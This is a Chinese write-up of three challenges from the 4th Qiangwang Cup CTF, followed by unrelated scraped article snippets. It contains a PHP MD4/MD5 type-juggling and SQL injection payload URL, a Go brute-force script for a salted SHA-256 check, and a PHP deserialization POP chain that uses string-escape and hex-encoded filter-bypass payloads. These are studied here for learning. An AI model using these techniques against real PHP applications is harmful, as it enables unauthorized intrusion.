前言:

全靠大佬带飞,自己菜的一批,还需继续努力!,把觉得有必要记录的记录一下。

Funhash

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{die('level 1 failed');
}//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{die('level 2 failed');
}//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();?>

level 2和level 3都比较常见,这里就不说了,主要是level 1,之前倒是没见过这种的

$_GET["hash1"] != hash("md4", $_GET["hash1"])

需要满足输入的参数经过md4加密后还等于其本身,在外网查资料发现
https://crdx.org/post/hsctf-2019-md5-minus-minus
由于字符串的md4散列不太可能与字符串本身相同,因此可以推测PHP的类型篡改系统可能会被滥用。然后通过暴力破解得到一个值,这个值便可以满足这个条件

0e251288019

所以最终payload为:

http://39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

得到flag

bank

题目给出了nc的地址,连过去发现

是通过sha256函数加密的而且加盐了,需要输入XXX才能继续,那只有爆破了,但使用普通的用户脚本去爆破这三位非常浪费时间,而且这个程序是限时的,如果在规定的时间内没有完成操作,就会被弹出,所以爆破一定要快,这里用Go语言的脚本

package mainimport ("bytes""crypto/sha256""encoding/hex""fmt""runtime""sync""time"
)var (chars     = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890")tail      = []byte("TeEo77GsmzVmVwDip")result, _ = hex.DecodeString("e1a16f0afb2efee2ffd27f9b34a68236a2dd056abaaeac140b5c68a454c15e46")wg        sync.WaitGroup
)func sha(s []byte) {for _, ch1 := range s {for _, ch2 := range chars {for _, ch3 := range chars {head := []byte{ch1, ch2, ch3}h := sha256.New()h.Write(head)h.Write(tail)if bytes.Equal(h.Sum(nil), result) {fmt.Println(string(head))}}}}wg.Done()
}func main() {threads := runtime.NumCPU() // 获取cpu逻辑核心数(包括超线程)start := time.Now()/* len(chars) = sum * sthreads + (sum+1) * (threads-sthreads) */snum := len(chars) / threadssthreads := threads*(1+snum) - len(chars)wg.Add(threads)for i := 0; i < threads; i++ {if i < sthreads {go sha(chars[snum*i : snum*(i+1)])} else {base := snum * sthreadsgo sha(chars[base+(snum+1)*(i-sthreads) : base+(snum+1)*(i-sthreads+1)])}}wg.Wait()end := time.Since(start)fmt.Println(end)
}

进入输入队伍的token和名字,可以得到以下几个功能

直接获取flag是不行的,必须多余1000元,而目前只有10元,查看hint是AES加密,其他的功能查看也是一堆没用的信息,只有transact这个功能可以输入,就从这个地方进行入手。

发现只是输入名字和数字,就试试看看是否存在逻辑漏洞,输入了负数发现确实存在此漏洞,于是输入lemon1 -992这样总钱数便超过了1000,便可以获取flag了。

web辅助

题目给出了源码,一共有四个文件,先来看下class.php

准备知识:

__construct   当一个对象创建时被调用,
__invoke()   当脚本尝试将对象调用为函数时触发
__destruct()    对象被销毁时触发
__wakeup()   使用unserialize时触发
__toString   当一个对象被当作一个字符串被调用。private变量序列化后需要在变量名的左右手动添加不可见字符%00
protected变量序列化后需要在变量前的星号*左右手动添加不可见字符,使其成为%00*%00。

class.php,这个文件便是入手点,要正确构造出pop链输入才能获取到flag

<?php
class player{protected $user;protected $pass;protected $admin;public function __construct($user, $pass, $admin = 0){$this->user = $user;$this->pass = $pass;$this->admin = $admin;}public function get_admin(){return $this->admin;}
}class topsolo{//上单protected $name;public function __construct($name = 'Riven'){$this->name = $name;}public function TP(){if (gettype($this->name) === "function" or gettype($this->name) === "object"){$name = $this->name;$name();}}public function __destruct(){$this->TP();}}class midsolo{//中单protected $name;public function __construct($name){$this->name = $name;}public function __wakeup(){if ($this->name !== 'Yasuo'){$this->name = 'Yasuo';echo "No Yasuo! No Soul!\n";}}public function __invoke(){$this->Gank();}public function Gank(){if (stristr($this->name, 'Yasuo')){echo "Are you orphan?\n";}else{echo "Must Be Yasuo!\n";}}
}class jungle{//打野protected $name = "";public function __construct($name = "Lee Sin"){$this->name = $name;}public function KS(){system("cat /flag");}public function __toString(){$this->KS();  return "";  }}
?>


审计代码发现,想要的flag并不在魔法函数中,而是在jungle类中的一个普通函数,所以这里就是终点,从输入开始最终要触发__toString才能获取到flag。


由上往下分析,topsolo类中将对象调用为函数,所以在new一个新对象的时候可以new midsolo类的对象,这样就触发了midsolo类中的__invoke魔法函数

接下来midsolo类再new一个jungle类的对象,因为stristr函数将对象当作字符串调用,所以触发了jungle类中的魔法函数__toString,这样便可以得到完整的pop链了。

执行顺序:

topsolo:__destruct->midsolo:__invoke()->jungle:__toString

如果不直观的话可以看下图(转自星盟安全)

POP链的构造

<?php
class topsolo{protected $name;public function __construct(){$this->name = new midsolo();}
}class midsolo{protected $name;public function __construct($name){$this->name = new jungle();}
} class jungle{protected $name = "";public function __construct($name = "Lee Sin"){$this->name = $name;}
}
$shy = new topsolo();
echo serialize($shy);
?>

序列化结果为:

O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}
因为protected变量序列化后需要手动星号*左右手动添加不可见字符,使其成为%00*%00,所以最终的结果为:
O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}

这样获取flag的POP链构造好了,接下来就看要怎么运用了,继续观察代码。

index.php中,发现源码对player类进行反序列化并写入文件中

那便对player类进行序列化操作

<?php
class player{protected $user;protected $pass;protected $admin;public function __construct($user, $pass, $admin = 0){$this->user = $user;$this->pass = $pass;$this->admin = $admin;}public function get_admin(){return $this->admin;}
}
$shy =new player();
echo serialize($shy);
?>

序列化后的结果:

O:6:"player":3:{s:7:"%00*%00user";N;s:7:"%00*%00pass";N;s:8:"%00*%00admin";i:0;}

play.php中,调用该文件,并通过检查后读取文件最后进行反序列化操作

前面的都是正常的写入和读取没有什么明显的问题,最后再来看下common.php文件

发现存在反序列化字符串逃逸漏洞,因为过滤后字符变少,在写入的时候是五个字符\0*\0,但当读取的时候却变成了chr(0)*chr(0)三个字符,所以吃掉了两个字符。

原理这里就不再详细解释了,下面就开始进行构造

因为源码中只对player类进行反序列化,所以我们要利用字符串逃逸漏洞将POP链给添加进去

O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}

因为%00是一个字符,而不是3个,所以POP链的长度为109,如果直接将POP链输入的话

输入的部分就进入了pass中,所以就要思考怎么将原来的这一部分给吃掉";s:7:"%00*%00pass";s:109:"长度为23,因为每次替换会减少2个字符,因此需要替换11.5次,但不可能会替换11.5次的,所以要再添加一个字符,成24个字符";s:7:"%00*%00pass";s:109:"1,这样前面只要替换12次,这个原来password就要进入到user中,而我们构造的就会代替之前的password.

所以payload为

username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
&password=1";s:7:"%00*%00pass";s:109:"1O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}";s:8:"%00*%00admin";i:0;}

但是这样的payload还是错的,因为源码中 check 函数过滤了关键字 name,

将序列化字符串中表示变量(名)为字符串的小写 s 换为大写 S,即可解析变量中的 16 进制\6e\61\6d\65(即 name)。

除此之外,还需要跳过
这个魔法函数,

所以最终的payload为

?username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
&password=1";S:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{s:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};S:8:"%00*%00admin";i:0;}

传入到index.php,再查看play.php即可获取到flag(这里是赛后qwzf大佬搭建的环境)

另外一个payload,把多的一位放在前面也可以

?username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\01&password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{s:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};S:8:"%00*%00admin";i:0;}

总结:

通过这次比赛学到很多东西,尤其是反序列化字符串逃逸,感谢qwzf大佬的耐心解答,继续冲冲冲!

第四届“强网杯”全国网络安全挑战赛_部分WP相关推荐

  1. 第五届“强网杯”全国网络安全挑战赛 - 青少年专项赛 crypto

    文章目录 Crypto1 Crypto2 Crypto1 题目: n=96722669749951212913756678234358651184134068407812470434435916603 ...

  2. [ CTF ]【天格】战队WriteUp-第六届“强网杯”全国安全挑战赛(初赛)

    WriteUp推荐 文章开始前,我还是想向大家推荐一下其他战队的师傅写的WriteUp. 在本人允许的时间后发布这篇文章以后,也有不少师傅相继发出了WriteUp,拜读了各位师傅的WriteUp后学习 ...

  3. 最后一位被整除 oracle,【CTF WriteUp】2020第四届强网杯部分Crypto题解

    写在前边 强网杯还是难..去年正赛赛题一道都不会,只能靠临时补充的强网先锋题目拿分的情景历历在目.今年也没好哪去,只能写一点是一点吧. modestudy 这道题是一道六合一块密码大杂烩,考察基础知识 ...

  4. 广东省第四届“强网杯”网络安全大赛(“泄露的秘密WP”)

    感觉应该就算交了WP也进不了决赛~~ 我直接把WP放这里 "泄露的秘密": 发现存在大量"HTTP"包. 下一步跟踪HTTP流后, 发现存在SQL注入攻击. 使 ...

  5. [第四届-强网杯]:upload

    下载附件,是一个解压后是一个数据包,wireshark打开分析,很明显,这是一个文件上传的数据包,分析数据包内容: 很明显,是一个文件上传的数据包. 接着看看他到底上传了什么数据: 很明显,是上传了一 ...

  6. 2020强网杯部分题目复现

    本文目录 前言 强网先锋 Funhash 主动 upload web辅助 miscstudy 总结 前言 代码烂,游戏菜,天天等着大佬带.这次做出来三道题,无缘线下赛了,看来以后要找个大腿抱着才行(开 ...

  7. 第五届“强网杯”青少年专项赛盛大开赛

    9月25日,第五届"强网杯"青少年专项赛线上赛盛大开赛.作为国家级赛事强网杯的系列专项赛,青少年专项赛圆满践行了向青少年普及网络安全知识与技能,提升青少年网络安全素养和创新能力,发 ...

  8. BMZCTF 强网杯 2019 随便注 原理+题解

    目录 知识点 堆叠注入 show语句 mysql预编译 过程 重点 预编译 重命名 总结 知识点 堆叠注入 堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开.而堆叠查询注入攻击就 ...

  9. 强网杯 2018 opm

    强网杯 2018 opm 前言 这篇WP是强网杯过去了很久之后才出的, 参考的是极目楚天舒师傅的博客, 这位师傅是一位CTF老赛手, 最近复出.由于图片中不能CTRL+F出文字, 本文章尽量避免使用图 ...

最新文章

  1. Oracle 数据库 - 使用UEStudio修改dmp文件版本号,解决imp命令恢复的数据库与dmp本地文件版本号不匹配导致的导入失败问题,“ORACLE error 12547”问题处理
  2. 抖音访问太频繁-设备注册分析
  3. stm32中stm32f10x_type.h(固件3.0以前)、stm32f10x.h(固件3.0以后)、stdint.h文件的关系
  4. [转载]QMessageBox 用法
  5. ADO.NET 基础知识
  6. MYSQL正在使用select发现现场记录方法,包括一个逗号分隔的字符串
  7. 为 Electron / Atom Shell 设置应用icon(应用图标)
  8. 支付宝小程序平台的IM聊天插件
  9. 【蓝牙】什么?还不知道蓝牙协议栈开源了?
  10. 详述差分进化算法(DE)代码复现
  11. 用easyui-filebox上传Excel文件(ASP.NET MVC)[附源码下载]
  12. 白泽六足机器人_ros_v1——单腿RVIZ仿真
  13. 『实用教程』使用Visual Studio自带的Git管理回滚代码版本
  14. 详解Xcode 6的视图调试
  15. java复习笔记4--SpringCloud系列二:五大神兽之Eureka
  16. obj模型转json模型_2D转3D!14位艺术家的动漫模型作品欣赏~
  17. 【云栖大会】基因行业陷入“怪圈”,数据存储成本竟然超过检测成本
  18. 华为USG6380与安达通包过滤防火墙建立ipsec隧道后丢包
  19. ORACLE优化器RBO与CBO介绍总结
  20. 图解TCP/IP——第三四章笔记

热门文章

  1. ubuntu18.04的ifconfig输出没有ip地址
  2. 深度学习和目标检测系列教程 3-300:了解常见的目标检测的开源数据集
  3. 【机器学习算法专题(蓄力计划)】八、机器学习中数据的方差分析
  4. 【推荐系统】基于MovieLens数据集实现的协同过滤算法
  5. Vue 学习 之 7.01 学习笔记
  6. 中国中文信息学会:第一届自然语言生成与智能写作大会讲习班正式发布
  7. AI框架你只会调包,这种想法很危险!
  8. 如何实现少样本学习?先让神经网络get√视觉比较能力
  9. 【Linux服务器初上手】MobaXterm/系统版本/hostname/hosts/yum源配置/jdk/docker(不断完善)
  10. Shrio 自定义算法登录认证